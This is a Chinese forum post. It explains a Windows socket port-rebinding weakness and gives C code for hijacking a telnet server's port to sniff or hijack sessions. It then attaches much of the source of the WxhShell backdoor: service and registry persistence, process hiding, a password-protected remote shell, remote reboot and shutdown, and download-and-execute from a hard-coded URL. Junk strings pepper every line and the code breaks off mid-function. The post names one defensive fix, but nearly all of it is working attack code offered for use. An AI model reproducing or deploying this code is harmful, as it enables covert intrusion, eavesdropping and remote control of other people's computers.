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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Fp-d69Npo  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); rU5gQq;  
(M6B$:  
  saddr.sin_family = AF_INET; L!DP*XDp  
?DkMzR)u  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); eQno]$-\  
\no[>L]  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 'rU [V+  
y-{^L`%Mk  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 GLt#]I"LY  
j"/i+r{"E  
  这意味着什么?意味着可以进行如下的攻击: cI'&gT5  
`RfhxzI  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 cgm]{[f  
]~)FMWQz-  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _odP:  
X<_(gg  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 S[{#AX=0  
8MM#q+8  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Tul_/`An  
mT>56\63  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;58l_ue  
7f'9Dm`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Z6X?M&-Lz  
yEy} PCJ&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Sq}hx  
>"B95$x5  
  #include oKiBnj5J  
  #include 7Cx%G/(  
  #include Txfu%'2)e  
  #include    ZyT9y  
  DWORD WINAPI ClientThread(LPVOID lpParam);   m ,)4k&d  
  int main() "kz``6C  
  { E:(flW=  
  WORD wVersionRequested; ^:\|6`{n  
  DWORD ret; 0eQyzn*98  
  WSADATA wsaData; rcPP-+XW  
  BOOL val; W{At3Bfy  
  SOCKADDR_IN saddr; [(w _!|S  
  SOCKADDR_IN scaddr; ^/2n[orl5  
  int err; P6zy<w  
  SOCKET s; 2r"-X  
  SOCKET sc; r@H<@Vuc  
  int caddsize; ITRv^IlF  
  HANDLE mt; iQZgs@  
  DWORD tid;   Lcf =)GL  
  wVersionRequested = MAKEWORD( 2, 2 ); Xp{+){Iu  
  err = WSAStartup( wVersionRequested, &wsaData ); ,Zb]3  
  if ( err != 0 ) { *;(LKRV  
  printf("error!WSAStartup failed!\n"); B[!wo  
  return -1; ATv.3cy  
  } UW<V(6P  
  saddr.sin_family = AF_INET; qXkc~{W_  
   H jbC>*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 0~H(GG$VH  
vL`wn=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); OO] ~\j  
  saddr.sin_port = htons(23); &p^ S6h  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N' t*eCi  
  { kz(%8qi8&  
  printf("error!socket failed!\n"); S`BLwnU`#  
  return -1; ~C{d2i  
  } >0=`3X|Y7  
  val = TRUE; tEf_XBjKV  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 `B"=\0  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) +n%uIv  
  { m\__Fl  
  printf("error!setsockopt failed!\n"); Z TWbe  
  return -1; ;M{ @23?`  
  } :kfHILi  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; H*!j\|v0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =4"D8 UaHr  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Bl2y~fCA  
5. 5  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @>_`g=  
  { G\?fWqx  
  ret=GetLastError();  Y5 $5qQ  
  printf("error!bind failed!\n"); j08}5Eo  
  return -1; 0"(5\T  
  } G)';ucs:,  
  listen(s,2); <YP>c  
  while(1) scCOiK)  
  { p)N=  
  caddsize = sizeof(scaddr); 8xs[{?|:  
  //接受连接请求 AdesR-e$R  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); DmM<Kkg.J  
  if(sc!=INVALID_SOCKET) lplEQ]J|  
  { WLQm|C,  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); P&V,x`<Z  
  if(mt==NULL) mEmznA  
  { fmXA;^%  
  printf("Thread Creat Failed!\n"); &/d;4Eu  
  break; 1D&Q{?RM  
  } ]vMr@JM-G  
  } M%7{g"J*  
  CloseHandle(mt); x1W<r)A )r  
  } y5 $h  
  closesocket(s); ZMy0iQ@  
  WSACleanup(); d_BECx <\  
  return 0; YgNt>4K  
  }   ^]3Y11sI  
  DWORD WINAPI ClientThread(LPVOID lpParam) sWP5=t(i+9  
  { Yj|Oy  
  SOCKET ss = (SOCKET)lpParam; ,`v)nwP  
  SOCKET sc; fHCLsI  
  unsigned char buf[4096]; 5e~\o}]  
  SOCKADDR_IN saddr; 'due'|#^  
  long num; UM(tM9  
  DWORD val; r j#K5/df  
  DWORD ret; vcy}ZqWBO  
  //如果是隐藏端口应用的话,可以在此处加一些判断 NDEltG(  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   .$y}}/{j?[  
  saddr.sin_family = AF_INET; ]y>)es1  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); -Mx"ox  
  saddr.sin_port = htons(23); !Low%rP  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s9>f5u?dK  
  { Q0i.gEwe  
  printf("error!socket failed!\n"); iY1%"x  
  return -1; H'Bor\;[>  
  } Ol1[o  
  val = 100; fpJM)HU  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vyP3]+n  
  { "rOe J~4 X  
  ret = GetLastError(); $@"o BCc  
  return -1; yT%"<m6Y*\  
  } >!MOgLO3  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?F1NZA[%t  
  { oMawIND a  
  ret = GetLastError(); i\lur ET  
  return -1; I *YO  
  } ZdJwy%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) zV_U/]y  
  { 'VcZ_m:  
  printf("error!socket connect failed!\n"); ^I=c]D]);  
  closesocket(sc); !qsk;Vk7Z  
  closesocket(ss); s!esk%h{K  
  return -1; q(4W /y  
  } Z{s&myd  
  while(1) \Y&*sfQ  
  { `,gGmh  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 CB{% ~  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ="<5+G  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6!bp;iLKy  
  num = recv(ss,buf,4096,0); WeNx9+2=Z  
  if(num>0) s+&Ts|c#  
  send(sc,buf,num,0); :Fz;nG-G  
  else if(num==0) ?piv]Z  
  break; Ca?5bCI,  
  num = recv(sc,buf,4096,0); 4bLk+EY4A  
  if(num>0) SIv8EMGo  
  send(ss,buf,num,0); 3^AycwNBA  
  else if(num==0) 7cV9xIe^  
  break; -Zx hh  
  } 1t haQ"  
  closesocket(ss); np,L39:sf  
  closesocket(sc); M3c!SXx\  
  return 0 ; KKP}fN  
  } f_a.BTtNO  
Pj9n`LwM  
<3C~<  
========================================================== /HbxY  
~WXT0-,  
下边附上一个代码,,WXhSHELL FjF:Eh  
#va|&QBZxM  
========================================================== 35I y\  
rqbX9M^  
#include "stdafx.h" _9!*laR!2  
N=FU>qbz  
#include <stdio.h> p?(w !O  
#include <string.h> l*_%K}%?V  
#include <windows.h> y^7;I-  
#include <winsock2.h> t)P5bQ+$u9  
#include <winsvc.h> UQ6UZd37   
#include <urlmon.h> [ fvip_Pt  
D-\WS^#  
#pragma comment (lib, "Ws2_32.lib") ],CJSA!5F  
#pragma comment (lib, "urlmon.lib") #U45;idp  
ru[W?O"  
#define MAX_USER   100 // 最大客户端连接数 7 zo)t1H1  
#define BUF_SOCK   200 // sock buffer d\C x(Lb[  
#define KEY_BUFF   255 // 输入 buffer :U)>um34e  
[SGt ~bRJ  
#define REBOOT     0   // 重启 Ylbh_ d~BU  
#define SHUTDOWN   1   // 关机 RU&,z3LEb  
jY>|>]4X  
#define DEF_PORT   5000 // 监听端口 ?&$??r^i  
V?AHj<  
#define REG_LEN     16   // 注册表键长度 >^}nk04  
#define SVC_LEN     80   // NT服务名长度 zy\p,  
YoiM\gw  
// 从dll定义API V#8]io  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6(Za}H  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <YX)am'\y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B;xw @:H  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <tkxE!xF`J  
'PPVM@)fU  
// wxhshell配置信息 tdZ,sHY6  
struct WSCFG { *lHI\5  
  int ws_port;         // 监听端口 G{$(t\>8  
  char ws_passstr[REG_LEN]; // 口令 :K&>  
  int ws_autoins;       // 安装标记, 1=yes 0=no 62lG,y_L  
  char ws_regname[REG_LEN]; // 注册表键名 i(DoAfYf/q  
  char ws_svcname[REG_LEN]; // 服务名 <cu? g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q79& Q04XN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z* eb  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5sJi- ^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Pw:(X0@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Hik8u!#P  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <[{Ty+  
^Q!qJav  
}; 3`sM/BoA  
F02S(WWo;  
// default Wxhshell configuration wq &|V  
struct WSCFG wscfg={DEF_PORT, [pMJ9 d$  
    "xuhuanlingzhe", c@u)m}V  
    1, `H+~LVH  
    "Wxhshell", _22;hnG<iy  
    "Wxhshell", <hlH@[7!  
            "WxhShell Service", Y"qKe,  
    "Wrsky Windows CmdShell Service", Uw R,U#d  
    "Please Input Your Password: ", H|8vW  
  1, DVCO( fz  
  "http://www.wrsky.com/wxhshell.exe", ,4dES|)sP  
  "Wxhshell.exe" ?"MJ'u  
    }; 6<0-GD}M  
p\lS ) 9  
// 消息定义模块 S%KY%hUt  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *p!K9$4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bz!9\D|h  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hKq <e%oVH  
char *msg_ws_ext="\n\rExit."; W\09h Z6  
char *msg_ws_end="\n\rQuit."; r~q*E'n  
char *msg_ws_boot="\n\rReboot..."; s+Qm/ h2  
char *msg_ws_poff="\n\rShutdown..."; Mazjn?f  
char *msg_ws_down="\n\rSave to "; 9L3#aE]C  
i8R.Wl$l  
char *msg_ws_err="\n\rErr!"; 8joJ e>9VJ  
char *msg_ws_ok="\n\rOK!"; zTi %j$o  
;)Rvk&J5  
char ExeFile[MAX_PATH]; 2yqm$i9C  
int nUser = 0; A WlR" p2  
HANDLE handles[MAX_USER]; >XzCHtEP  
int OsIsNt; v4]7"7GuW  
gs;3NW  
SERVICE_STATUS       serviceStatus; #6g-{OBv  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :`BZ,j_  
b_ 88o-*/  
// 函数声明 Kj[X1X5  
int Install(void); &.k'Dj2hf  
int Uninstall(void); |~mq+:44+  
int DownloadFile(char *sURL, SOCKET wsh); (WT0 j  
int Boot(int flag); }W&hPC  
void HideProc(void); S.o 9AUv9  
int GetOsVer(void); )@DT^#zR  
int Wxhshell(SOCKET wsl); aYQ!`mS::M  
void TalkWithClient(void *cs); 4-^LC<}k  
int CmdShell(SOCKET sock); g Z3VT{  
int StartFromService(void); /BC(O[P  
int StartWxhshell(LPSTR lpCmdLine); ;u;YfOr  
'A91i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3UeG>5R  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jJ% *hDZ6t  
gE8=#%1<  
// 数据结构和表定义 S-[]z*  
SERVICE_TABLE_ENTRY DispatchTable[] = w <zO  
{ q 4_&C&7  
{wscfg.ws_svcname, NTServiceMain}, ,ry2J,IT7  
{NULL, NULL} x:8xGG9  
}; [uOW\)`  
,=KJ7zIK?  
// 自我安装 B.2F\ub g  
int Install(void) wc-H`S|@  
{ ;p ~@*c'E  
  char svExeFile[MAX_PATH]; x#yL&+'?Mj  
  HKEY key; ]9z{ 95  
  strcpy(svExeFile,ExeFile); S9X~<!]  
$^R[t;  
// 如果是win9x系统,修改注册表设为自启动 x9r5 ;5TI  
if(!OsIsNt) { ,6rg00wGE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *au&ODa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =8OPj cX.V  
  RegCloseKey(key); 7NG^X"N{Ul  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H?8uy_Sc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "Yw-1h`fR  
  RegCloseKey(key); kE QT[Lo  
  return 0; )W9 $_<Z  
    } @ -pi  
  } CFD& -tED&  
} p1t9s N,  
else { L+Q"z*W  
+=I_3Wtth  
// 如果是NT以上系统,安装为系统服务 u->UV:u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); PQAN,d  
if (schSCManager!=0) C`OdMM>D  
{ TL@_m^SM  
  SC_HANDLE schService = CreateService K1RTAFf /  
  ( 2!/*I:  
  schSCManager, SZJ~ktXC-V  
  wscfg.ws_svcname, Y<Y5HI"  
  wscfg.ws_svcdisp, $5nOiaQL  
  SERVICE_ALL_ACCESS, rly3f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q%4>okj,  
  SERVICE_AUTO_START, |x3&#(Tf  
  SERVICE_ERROR_NORMAL, aE.T%xR  
  svExeFile, !!f)w!wW  
  NULL, @;x|+@r  
  NULL, ,c_[`q\  
  NULL, 5}gcJjz  
  NULL, 30]?Jz6m  
  NULL @V)k*h3r+  
  ); J'tc5Ip!}V  
  if (schService!=0) 2vWJ|&|p  
  { >69xl^Gd  
  CloseServiceHandle(schService); jeMh  
  CloseServiceHandle(schSCManager); #: L|-_=a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Uj}iMw,  
  strcat(svExeFile,wscfg.ws_svcname); ' U{?"FP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Fc>W]1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \>nPg5OT  
  RegCloseKey(key); l<)(iU  
  return 0; ]od]S 8$5  
    } R^P~iAO  
  } [0N==Ym1  
  CloseServiceHandle(schSCManager); dix\hqZ  
} V_Kpb*3  
} ,eD@)K_:  
"_jcz r$*  
return 1; ]qL#/   
} cl{x5>.'#  
yNdtq\h  
// 自我卸载 _7 .Wz7]b  
int Uninstall(void) cX"[#Em#  
{ x:=Kr@VP  
  HKEY key; rFZB6A<(]  
ftsr-3!Vm  
if(!OsIsNt) { -tZ2 N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^dH#n~Wx0  
  RegDeleteValue(key,wscfg.ws_regname); a_'W1ek-@  
  RegCloseKey(key); q5:-?|jXJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ],R rk]1  
  RegDeleteValue(key,wscfg.ws_regname); a^i`DrX  
  RegCloseKey(key); yyxGVfr  
  return 0; vV.'&."g  
  } =UA-&x@  
} \tLJ( <8  
} @5Q}o3.zA-  
else { ^#e:q  
.z7X Ymv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wIuwq>  
if (schSCManager!=0) sxJKu  
{  f]q3E[?/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $ t_s7  
  if (schService!=0) s@ m A\  
  { j,eeQ KH  
  if(DeleteService(schService)!=0) { !TP8LQ  
  CloseServiceHandle(schService); sLzcTGa2:z  
  CloseServiceHandle(schSCManager); t*y4)I !gR  
  return 0; HY9H?T  
  } wcP0PfY  
  CloseServiceHandle(schService); ~ C6< 75  
  } uF9p:FvN8  
  CloseServiceHandle(schSCManager); ]oP2T:A  
} fDp_W1yH  
} `zRgP#  
VkhZt7]K}B  
return 1; u*{hXR-"  
} <M=U @  
cH'*J/  
// 从指定url下载文件 -\\}K\*MJ  
int DownloadFile(char *sURL, SOCKET wsh) 7J./SBhB  
{ |f'U_nE#R/  
  HRESULT hr; enlk)_btp  
char seps[]= "/"; g}|a-  
char *token; fGb(=l  
char *file; IV_u f  
char myURL[MAX_PATH]; -N^}1^gA  
char myFILE[MAX_PATH]; Q bfm*JP~  
]ms#*IZ  
strcpy(myURL,sURL); )<9g+^  
  token=strtok(myURL,seps); ~-lIOQ.v  
  while(token!=NULL) Tz+2g&+  
  { $&nF1HBI4  
    file=token; =#n05*^  
  token=strtok(NULL,seps);  S20x  
  } $1.iMHb  
Fp4eGuWH#  
GetCurrentDirectory(MAX_PATH,myFILE); IV;juFw}G  
strcat(myFILE, "\\"); wKe^5|Rr  
strcat(myFILE, file); j[m\;3Sp  
  send(wsh,myFILE,strlen(myFILE),0); !tv3.:eT  
send(wsh,"...",3,0); << LmO-92  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n_AW0i .  
  if(hr==S_OK) Y1+4ppZ  
return 0; s ,\w00-:  
else Hs~M!eK  
return 1; _A kc7"  
,ZV<o!\  
} _s (0P*  
4O9HoX#-?  
// 系统电源模块 7xB#)o53  
int Boot(int flag) QE)I7(  
{ IJxdbuKg  
  HANDLE hToken; *pw:oTO  
  TOKEN_PRIVILEGES tkp; -aLBj?N c[  
HI#}M|4n  
  if(OsIsNt) { 6g29!F`y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  Us k@{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q`E6hm  
    tkp.PrivilegeCount = 1; 0aSN 8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (' /S~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); djqSW9  
if(flag==REBOOT) { c%>t(ce`Tl  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) h eZJ(mR  
  return 0; KCq qwGM  
} Lg|j0-"N  
else { 7 ;|jq39  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N'Ywn}!js  
  return 0; F0o7XUt  
} MG[?C2KA/  
  } z 4Qz9#*"^  
  else { B{H;3{0  
if(flag==REBOOT) { Df||#u=n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [{6]iJ  
  return 0; %Gl,V5z&  
} 44f8Hc1g  
else { n0 _:!]k^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eT[ ,k[#q  
  return 0; RZjTUMAz4  
} [WXtR  
} dE_BV=H{  
~e{AgY)  
return 1; .Di+G-#aEs  
} g~h`wv'  
'`T.K<  
// win9x进程隐藏模块 v+znKpE  
void HideProc(void) ^TVy :5Ag  
{ y mY,*Rb  
hZY+dHa]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kWjCSC>jA  
  if ( hKernel != NULL ) J [2;&-@  
  { 0?BT*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ooc,R(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Zla5$GM  
    FreeLibrary(hKernel); Ag }hyIl  
  } ?qAX *j  
]n${j/x  
return; Ec8Y}C,{7<  
} cInzwdh7  
BqvOi~ l  
// 获取操作系统版本 )_ NQ*m  
int GetOsVer(void) FfI $3:9  
{ m=z-}T5y!T  
  OSVERSIONINFO winfo; -kq=W_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); o ]2=5;)  
  GetVersionEx(&winfo); KqcelI?-I  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !\JG]2 \  
  return 1; OQ 5{#  
  else 1{_tV^3@  
  return 0; fxI>FhU_  
} .ZxSJ"Rk  
;.V 5:,&  
// 客户端句柄模块 KNC!T@O|{#  
int Wxhshell(SOCKET wsl) ;x@9@6_  
{ 9x?" %b  
  SOCKET wsh; _Z#yI/5r  
  struct sockaddr_in client; )6PZ.s/F6p  
  DWORD myID; bnWIB+%_  
%&c[g O!Za  
  while(nUser<MAX_USER) MM|&B`v@;  
{ o(]kI?`  
  int nSize=sizeof(client); }=^YLu=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $EN A$  
  if(wsh==INVALID_SOCKET) return 1; wHWd~K_q  
6JmS9ho  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ORs<<H.d  
if(handles[nUser]==0) LV0g *ng  
  closesocket(wsh); ZWG$MFEjl  
else ]d9;YVAU  
  nUser++; r|fJ~0z  
  } &w*.S@  ;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6f?5/hq  
!a[ voUS  
  return 0; 'dQ2"x?4  
} :o*{.  
Fb*^GH)J  
// 关闭 socket AVOqW0Z+y  
void CloseIt(SOCKET wsh) 8 fVI33  
{ @+syD  
closesocket(wsh); "@ Zy+zLU  
nUser--; U.crRrN  
ExitThread(0); +VdYT6{p  
} 7{D +\i  
KOV^wSwS  
// 客户端请求句柄 I=x   
void TalkWithClient(void *cs) FGr0W|?v  
{ fH`P8?](x  
"#rlL^9v  
  SOCKET wsh=(SOCKET)cs; S!#7]wtbP  
  char pwd[SVC_LEN]; ?%JH4I2  
  char cmd[KEY_BUFF]; HGC>jeWd_  
char chr[1]; Um9!<G=;  
int i,j; 4_&$isq  
U2ecvq[T  
  while (nUser < MAX_USER) { r1}OlVbK  
@=K> uyB  
if(wscfg.ws_passstr) { x,2+9CCU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O2:m)@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #8R\J[9  
  //ZeroMemory(pwd,KEY_BUFF); d}>Nl$  
      i=0; jXGr{n  
  while(i<SVC_LEN) { *Y9"-C+  
Z2PLm0%:  
  // 设置超时 d{9rEB?  
  fd_set FdRead; PP[{ c  
  struct timeval TimeOut; "h_n/}r=  
  FD_ZERO(&FdRead); s+yBxgQ/  
  FD_SET(wsh,&FdRead); '@AK0No\W  
  TimeOut.tv_sec=8;  3iV/7~ O  
  TimeOut.tv_usec=0; W7l/{a @  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *VIM!/YW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e l'^9K  
6y%BJU.I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UI<'T3b  
  pwd=chr[0]; hs2f3;)  
  if(chr[0]==0xd || chr[0]==0xa) { (vz)GrH>  
  pwd=0; d7It}7@9  
  break; y:iE'SRRK6  
  } VpWax]'  
  i++; A8e b{qv  
    } [9z<*@$-  
 _"%d9B  
  // 如果是非法用户,关闭 socket ^KF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $*xnq%A  
} |I^\|5  
I = qd\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W5 fO1F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R|$=Pfg~4  
6b-d#H/1Y  
while(1) { Z:,HB]&;9  
>P>.j+o/  
  ZeroMemory(cmd,KEY_BUFF); (4$lB{%  
4D$$KSa  
      // 自动支持客户端 telnet标准   , j'=sDl  
  j=0; b\U Q6 V  
  while(j<KEY_BUFF) { S?OK@UEJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s]5wzbFO  
  cmd[j]=chr[0]; @K4} cP  
  if(chr[0]==0xa || chr[0]==0xd) { J0d +q!  
  cmd[j]=0; ,BW ^j.7  
  break; 7xwS  .|  
  } _<pG}fmR  
  j++; =H>rX 2k  
    } #MHn J  
9 ?MOeOV8  
  // 下载文件 u 6 la  
  if(strstr(cmd,"http://")) { -*e$>w[.N  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &^63*x;hE  
  if(DownloadFile(cmd,wsh)) e~'y%|D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6xk"bIp  
  else QMy;?,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *ErTDy(   
  } P6i4Dr  
  else { KbMgatI/  
X[j4V<4O  
    switch(cmd[0]) { j:) (`  
  V,|l&-  
  // 帮助 m ~fqZK  
  case '?': { y<BiR@%,7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A{x &5yX8  
    break; ]8+%57:E  
  } /:ma}qG y  
  // 安装 ^T(l3r  
  case 'i': { =ub&@~E  
    if(Install()) mgG0uV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); duXv [1  
    else ef f6=DP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P%' bSx1  
    break; "!E(= W?  
    } n_$lRX5  
  // 卸载 :Q+ rEjw+  
  case 'r': { 9VV  
    if(Uninstall()) H$(%FWzQ%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "}7K>|a  
    else kVkV~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @ew Qx|  
    break; o[+1O  
    } v :6`(5  
  // 显示 wxhshell 所在路径 $'L(}gNv5  
  case 'p': { $aE %W? \  
    char svExeFile[MAX_PATH]; 4%\L8:  
    strcpy(svExeFile,"\n\r"); D*vrQ9&# 8  
      strcat(svExeFile,ExeFile); p'KU!I }  
        send(wsh,svExeFile,strlen(svExeFile),0); <%>Q$b5  
    break; 9m!4U2N,s  
    } `9a%}PVQ-  
  // 重启 [p}J=1S  
  case 'b': { =<`9T_S 16  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j,6dGb  
    if(Boot(REBOOT)) U lj2 Py}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $o/ ?R]h  
    else { 5SR 29Z[  
    closesocket(wsh); ;]Y.2 J  
    ExitThread(0); ZS>}NN  
    } m[ay  
    break; K`(STvtM  
    } g@MTKqs  
  // 关机 {n$9o  
  case 'd': { eW\7X%I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ll[U-v{  
    if(Boot(SHUTDOWN)) KDRIy@[e  
